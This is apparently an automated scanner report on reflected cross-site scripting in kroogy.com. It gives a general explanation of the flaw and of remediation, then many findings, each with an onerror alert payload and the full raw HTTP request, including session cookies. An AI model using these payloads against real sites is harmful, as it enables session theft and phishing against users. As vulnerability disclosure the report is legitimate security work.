Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 8e592<img%20src%3da%20onerror%3dalert(1)>84ab9e9bf3b was submitted in the REST URL parameter 1. This input was echoed as 8e592<img src=a onerror=alert(1)>84ab9e9bf3b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /N8e592<img%20src%3da%20onerror%3dalert(1)>84ab9e9bf3b HTTP/1.1 Host: kroogy.com Proxy-Connection: keep-alive Referer: http://kroogy.com/index.php?page=%3E%3CiMg%20src=N%20onerror=netsparker(9)%3E&type=3 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: nscriptinfo=75cb7e9c9ffe8c8a168e0e32a6695d87; __utmz=221607367.1303653223.4.2.utmcsr=kroogy.com|utmccn=(referral)|utmcmd=referral|utmcct=/index/index.php; __utma=221607367.144172721.1303647943.1303652987.1303653223.4
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload da978<img%20src%3da%20onerror%3dalert(1)>3b67e8c3e65 was submitted in the REST URL parameter 1. This input was echoed as da978<img src=a onerror=alert(1)>3b67e8c3e65 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /ada978<img%20src%3da%20onerror%3dalert(1)>3b67e8c3e65 HTTP/1.1 Host: kroogy.com Proxy-Connection: keep-alive Referer: http://kroogy.com/favicon.icof4c9e%3Cimg%20src%3da%20onerror%3dalert(1)%3E0d6ca5ff0dc User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: nscriptinfo=75cb7e9c9ffe8c8a168e0e32a6695d87; __utmz=221607367.1303658380.5.3.utmcsr=kroogy.com|utmccn=(referral)|utmcmd=referral|utmcct=/index.php; __utma=221607367.144172721.1303647943.1303653223.1303658380.5; __utmc=221607367; __utmb=221607367.3.10.1303658380
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload f4c9e<img%20src%3da%20onerror%3dalert(1)>0d6ca5ff0dc was submitted in the REST URL parameter 1. This input was echoed as f4c9e<img src=a onerror=alert(1)>0d6ca5ff0dc in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /favicon.icof4c9e<img%20src%3da%20onerror%3dalert(1)>0d6ca5ff0dc HTTP/1.1 Host: kroogy.com Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: nscriptinfo=75cb7e9c9ffe8c8a168e0e32a6695d87; __utmz=221607367.1303647943.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=221607367.144172721.1303647943.1303647943.1303647943.1; __utmc=221607367; __utmb=221607367.1.10.1303647943
The value of the page request parameter is copied into the HTML document as plain text between tags. The payload 1707b<img%20src%3da%20onerror%3dalert(1)>b2fc2355f06 was submitted in the page parameter. This input was echoed as 1707b<img src=a onerror=alert(1)>b2fc2355f06 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /index.php?page=%3E%3CiMg%20src=N%20onerror=netsparker(9)%3E1707b<img%20src%3da%20onerror%3dalert(1)>b2fc2355f06&type=3 HTTP/1.1 Host: kroogy.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: nscriptinfo=75cb7e9c9ffe8c8a168e0e32a6695d87; __utmz=221607367.1303653223.4.2.utmcsr=kroogy.com|utmccn=(referral)|utmcmd=referral|utmcct=/index/index.php; __utma=221607367.144172721.1303647943.1303652987.1303653223.4
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 426f6<img%20src%3da%20onerror%3dalert(1)>4d3e142698d was submitted in the REST URL parameter 1. This input was echoed as 426f6<img src=a onerror=alert(1)>4d3e142698d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /index426f6<img%20src%3da%20onerror%3dalert(1)>4d3e142698d/N HTTP/1.1 Host: kroogy.com Proxy-Connection: keep-alive Referer: http://kroogy.com/index/index.php?page=%3E%3CiMg%20src=N%20onerror=netsparker(9)%3E&type=3 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: nscriptinfo=75cb7e9c9ffe8c8a168e0e32a6695d87; __utmz=221607367.1303653223.4.2.utmcsr=kroogy.com|utmccn=(referral)|utmcmd=referral|utmcct=/index/index.php; __utma=221607367.144172721.1303647943.1303652987.1303653223.4
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 82122<img%20src%3da%20onerror%3dalert(1)>cef7219affe was submitted in the REST URL parameter 2. This input was echoed as 82122<img src=a onerror=alert(1)>cef7219affe in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /index/N82122<img%20src%3da%20onerror%3dalert(1)>cef7219affe HTTP/1.1 Host: kroogy.com Proxy-Connection: keep-alive Referer: http://kroogy.com/index/index.php?page=%3E%3CiMg%20src=N%20onerror=netsparker(9)%3E&type=3 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: nscriptinfo=75cb7e9c9ffe8c8a168e0e32a6695d87; __utmz=221607367.1303653223.4.2.utmcsr=kroogy.com|utmccn=(referral)|utmcmd=referral|utmcct=/index/index.php; __utma=221607367.144172721.1303647943.1303652987.1303653223.4
The value of the page request parameter is copied into the HTML document as plain text between tags. The payload 9a85f<img%20src%3da%20onerror%3dalert(1)>204f92d6c29 was submitted in the page parameter. This input was echoed as 9a85f<img src=a onerror=alert(1)>204f92d6c29 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /index/index.php?page=%3E%3CiMg%20src=N%20onerror=netsparker(9)%3E9a85f<img%20src%3da%20onerror%3dalert(1)>204f92d6c29&type=3 HTTP/1.1 Host: kroogy.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: nscriptinfo=75cb7e9c9ffe8c8a168e0e32a6695d87; __utmz=221607367.1303653223.4.2.utmcsr=kroogy.com|utmccn=(referral)|utmcmd=referral|utmcct=/index/index.php; __utma=221607367.144172721.1303647943.1303652987.1303653223.4
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 5289d<img%20src%3da%20onerror%3dalert(1)>704a0bea83e was submitted in the REST URL parameter 1. This input was echoed as 5289d<img src=a onerror=alert(1)>704a0bea83e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /index5289d<img%20src%3da%20onerror%3dalert(1)>704a0bea83e/livesearch&q=s&type=web HTTP/1.1 Host: kroogy.com Proxy-Connection: keep-alive Referer: http://kroogy.com/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: nscriptinfo=75cb7e9c9ffe8c8a168e0e32a6695d87; __utmz=221607367.1303647943.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=221607367.144172721.1303647943.1303647943.1303647943.1; __utmc=221607367; __utmb=221607367.1.10.1303647943
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 84a7e<img%20src%3da%20onerror%3dalert(1)>70c18f09796 was submitted in the REST URL parameter 2. This input was echoed as 84a7e<img src=a onerror=alert(1)>70c18f09796 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /index/livesearch84a7e<img%20src%3da%20onerror%3dalert(1)>70c18f09796&q=s&type=web HTTP/1.1 Host: kroogy.com Proxy-Connection: keep-alive Referer: http://kroogy.com/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: nscriptinfo=75cb7e9c9ffe8c8a168e0e32a6695d87; __utmz=221607367.1303647943.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=221607367.144172721.1303647943.1303647943.1303647943.1; __utmc=221607367; __utmb=221607367.1.10.1303647943
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 83857<img%20src%3da%20onerror%3dalert(1)>5428059cf9b was submitted in the REST URL parameter 1. This input was echoed as 83857<img src=a onerror=alert(1)>5428059cf9b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /index83857<img%20src%3da%20onerror%3dalert(1)>5428059cf9b/livesearch&q=si&type=web HTTP/1.1 Host: kroogy.com Proxy-Connection: keep-alive Referer: http://kroogy.com/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: nscriptinfo=75cb7e9c9ffe8c8a168e0e32a6695d87; __utmz=221607367.1303647943.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=221607367.144172721.1303647943.1303647943.1303647943.1; __utmc=221607367; __utmb=221607367.1.10.1303647943
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload c18b9<img%20src%3da%20onerror%3dalert(1)>e9c49ce397c was submitted in the REST URL parameter 2. This input was echoed as c18b9<img src=a onerror=alert(1)>e9c49ce397c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /index/livesearchc18b9<img%20src%3da%20onerror%3dalert(1)>e9c49ce397c&q=si&type=web HTTP/1.1 Host: kroogy.com Proxy-Connection: keep-alive Referer: http://kroogy.com/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: nscriptinfo=75cb7e9c9ffe8c8a168e0e32a6695d87; __utmz=221607367.1303647943.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=221607367.144172721.1303647943.1303647943.1303647943.1; __utmc=221607367; __utmb=221607367.1.10.1303647943
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 44c9f<img%20src%3da%20onerror%3dalert(1)>230c1568b68 was submitted in the REST URL parameter 1. This input was echoed as 44c9f<img src=a onerror=alert(1)>230c1568b68 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /index44c9f<img%20src%3da%20onerror%3dalert(1)>230c1568b68/livesearch&q=sit&type=web HTTP/1.1 Host: kroogy.com Proxy-Connection: keep-alive Referer: http://kroogy.com/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: nscriptinfo=75cb7e9c9ffe8c8a168e0e32a6695d87; __utmz=221607367.1303647943.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=221607367.144172721.1303647943.1303647943.1303647943.1; __utmc=221607367; __utmb=221607367.1.10.1303647943
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload a288e<img%20src%3da%20onerror%3dalert(1)>085eb934534 was submitted in the REST URL parameter 2. This input was echoed as a288e<img src=a onerror=alert(1)>085eb934534 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /index/livesearcha288e<img%20src%3da%20onerror%3dalert(1)>085eb934534&q=sit&type=web HTTP/1.1 Host: kroogy.com Proxy-Connection: keep-alive Referer: http://kroogy.com/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: nscriptinfo=75cb7e9c9ffe8c8a168e0e32a6695d87; __utmz=221607367.1303647943.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=221607367.144172721.1303647943.1303647943.1303647943.1; __utmc=221607367; __utmb=221607367.1.10.1303647943
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload e8181<img%20src%3da%20onerror%3dalert(1)>1e804ed95f7 was submitted in the REST URL parameter 1. This input was echoed as e8181<img src=a onerror=alert(1)>1e804ed95f7 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /indexe8181<img%20src%3da%20onerror%3dalert(1)>1e804ed95f7/livesearch&q=site&type=web HTTP/1.1 Host: kroogy.com Proxy-Connection: keep-alive Referer: http://kroogy.com/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: nscriptinfo=75cb7e9c9ffe8c8a168e0e32a6695d87; __utmz=221607367.1303647943.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=221607367.144172721.1303647943.1303647943.1303647943.1; __utmc=221607367; __utmb=221607367.1.10.1303647943
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 2bfbe<img%20src%3da%20onerror%3dalert(1)>6d8fdcd1241 was submitted in the REST URL parameter 2. This input was echoed as 2bfbe<img src=a onerror=alert(1)>6d8fdcd1241 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /index/livesearch2bfbe<img%20src%3da%20onerror%3dalert(1)>6d8fdcd1241&q=site&type=web HTTP/1.1 Host: kroogy.com Proxy-Connection: keep-alive Referer: http://kroogy.com/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: nscriptinfo=75cb7e9c9ffe8c8a168e0e32a6695d87; __utmz=221607367.1303647943.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=221607367.144172721.1303647943.1303647943.1303647943.1; __utmc=221607367; __utmb=221607367.1.10.1303647943
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 11056<img%20src%3da%20onerror%3dalert(1)>15604bb1f75 was submitted in the REST URL parameter 1. This input was echoed as 11056<img src=a onerror=alert(1)>15604bb1f75 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /index11056<img%20src%3da%20onerror%3dalert(1)>15604bb1f75/livesearch&q=site:&type=web HTTP/1.1 Host: kroogy.com Proxy-Connection: keep-alive Referer: http://kroogy.com/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: nscriptinfo=75cb7e9c9ffe8c8a168e0e32a6695d87; __utmz=221607367.1303647943.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=221607367.144172721.1303647943.1303647943.1303647943.1; __utmc=221607367; __utmb=221607367.1.10.1303647943
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 5be1c<img%20src%3da%20onerror%3dalert(1)>192451da902 was submitted in the REST URL parameter 2. This input was echoed as 5be1c<img src=a onerror=alert(1)>192451da902 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /index/livesearch5be1c<img%20src%3da%20onerror%3dalert(1)>192451da902&q=site:&type=web HTTP/1.1 Host: kroogy.com Proxy-Connection: keep-alive Referer: http://kroogy.com/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: nscriptinfo=75cb7e9c9ffe8c8a168e0e32a6695d87; __utmz=221607367.1303647943.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=221607367.144172721.1303647943.1303647943.1303647943.1; __utmc=221607367; __utmb=221607367.1.10.1303647943
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 38cc5<img%20src%3da%20onerror%3dalert(1)>2e38d3282c6 was submitted in the REST URL parameter 1. This input was echoed as 38cc5<img src=a onerror=alert(1)>2e38d3282c6 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /pub38cc5<img%20src%3da%20onerror%3dalert(1)>2e38d3282c6/banner_728_90_random.php HTTP/1.1 Host: kroogy.com Proxy-Connection: keep-alive Referer: http://kroogy.com/search/web?search=site%3Axss.cx&type=web&fl=0 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: nscriptinfo=75cb7e9c9ffe8c8a168e0e32a6695d87; __utmz=221607367.1303647943.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=221607367.144172721.1303647943.1303647943.1303647943.1; __utmc=221607367; __utmb=221607367.1.10.1303647943
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload e99b4<img%20src%3da%20onerror%3dalert(1)>8b9ef66b48e was submitted in the REST URL parameter 1. This input was echoed as e99b4<img src=a onerror=alert(1)>8b9ef66b48e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /searche99b4<img%20src%3da%20onerror%3dalert(1)>8b9ef66b48e/emailafriend?url=http%3A%2F%2Fkroogy.com HTTP/1.1 Host: kroogy.com Proxy-Connection: keep-alive Referer: http://kroogy.com/search/noresults?search=site:xss.cx&type=news User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: nscriptinfo=75cb7e9c9ffe8c8a168e0e32a6695d87; __utmz=221607367.1303647943.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=221607367.144172721.1303647943.1303647943.1303647943.1; __utmc=221607367; __utmb=221607367.5.10.1303647943
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 582a0<img%20src%3da%20onerror%3dalert(1)>686409d57c8 was submitted in the REST URL parameter 2. This input was echoed as 582a0<img src=a onerror=alert(1)>686409d57c8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /search/emailafriend582a0<img%20src%3da%20onerror%3dalert(1)>686409d57c8?url=http%3A%2F%2Fkroogy.com HTTP/1.1 Host: kroogy.com Proxy-Connection: keep-alive Referer: http://kroogy.com/search/noresults?search=site:xss.cx&type=news User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: nscriptinfo=75cb7e9c9ffe8c8a168e0e32a6695d87; __utmz=221607367.1303647943.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=221607367.144172721.1303647943.1303647943.1303647943.1; __utmc=221607367; __utmb=221607367.5.10.1303647943
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload d06fa<img%20src%3da%20onerror%3dalert(1)>81d5887b4c4 was submitted in the REST URL parameter 2. This input was echoed as d06fa<img src=a onerror=alert(1)>81d5887b4c4 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
The value of the page request parameter is copied into the HTML document as plain text between tags. The payload 8db35<img%20src%3da%20onerror%3dalert(1)>223a12c50e6 was submitted in the page parameter. This input was echoed as 8db35<img src=a onerror=alert(1)>223a12c50e6 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /search/index.php?page=search/redir8db35<img%20src%3da%20onerror%3dalert(1)>223a12c50e6&type=news&search=site:xss.cx HTTP/1.1 Host: kroogy.com Proxy-Connection: keep-alive Referer: http://kroogy.com/search/web?search=site%3Axss.cx&type=web&fl=0 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: nscriptinfo=75cb7e9c9ffe8c8a168e0e32a6695d87; __utmz=221607367.1303647943.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=221607367.144172721.1303647943.1303647943.1303647943.1; __utmc=221607367; __utmb=221607367.4.10.1303647943
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload bef17<img%20src%3da%20onerror%3dalert(1)>1a3c051fc03 was submitted in the REST URL parameter 1. This input was echoed as bef17<img src=a onerror=alert(1)>1a3c051fc03 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
